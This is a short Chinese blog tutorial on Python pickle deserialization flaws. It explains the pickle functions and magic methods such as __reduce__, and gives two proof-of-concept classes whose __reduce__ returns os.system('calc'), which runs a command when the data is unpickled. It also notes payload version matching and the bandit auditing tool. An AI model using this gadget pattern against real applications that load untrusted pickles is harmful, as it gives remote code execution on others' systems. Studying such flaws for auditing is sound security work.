python 反序列化漏洞

python 反序列化

前言:python反序列化相比java反序列化,更接近于php反序列化

1.0 python 中的序列化函数

**1. **pickle.dump(obj , file)

将对象序列化后保存在文件中

2. pickle.load(file)

将文件中序列化内容反序列化为对象

**3. **pickle.dumps(obj)

将对象序列化后返回,返回的是字符串形式的字节流

**4. **pickle.loads(bytes)

1.1 python中的魔术方法

1 __reduce__

该魔术方法在反序列化时调用

下面是一个例子:

import pickle
import os


class A:
    def __reduce__(self):
        print("111")
        return (os.system, ('calc',))


a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print(p_a)

其中return的内容是受到限制的,在return中写的内容会在pickle.loads,也就是反序列化时

被执行。

2 __init__

本质就是python中的构造函数,在对象被实例化时调用

3 __setstate__

反序列化时会调用的方法

4 __getstate__

序列化中会被调用

给个简单的利用例子吧

import pickle
import os


class A:
    def __init__(self, fun, arg):
        self.fun = fun
        self.arg = arg

    def __reduce__(self):
        return (self.fun, self.arg)


a = A(os.system, ('calc',))
p_a = pickle.dumps(a)
pickle.loads(p_a)

如果我们析构函数的值可以控制,利用当前代码段就可以达成rce的成果

python的反序列化和java,php的反序列化还不是很一样,在反序列化应用时并不需要把类

写出来,只需要你的对象中有魔术方法就可以直接执行

我们在写python 反序列化payload时,需要注意web应用所使用的python版本,如果web

应用使用的是python3,那我们也得使用python3去运行生成,如果使用的是python2 ,那

也要使用对应的版本去生成payload

我们在对python代码进行代码审计时可以使用代码审计工具,比如bandit

可以使用pip install bandit来进行安装

在安装后会在Pythonz目录中增加一个.exe或者无后缀的可执行文件

在命令行 加上-r 分析代码地址即可进行代码分析

posted @ 2024-05-12 18:19  折翼的小鸟先生  阅读(22)  评论(0编辑  收藏  举报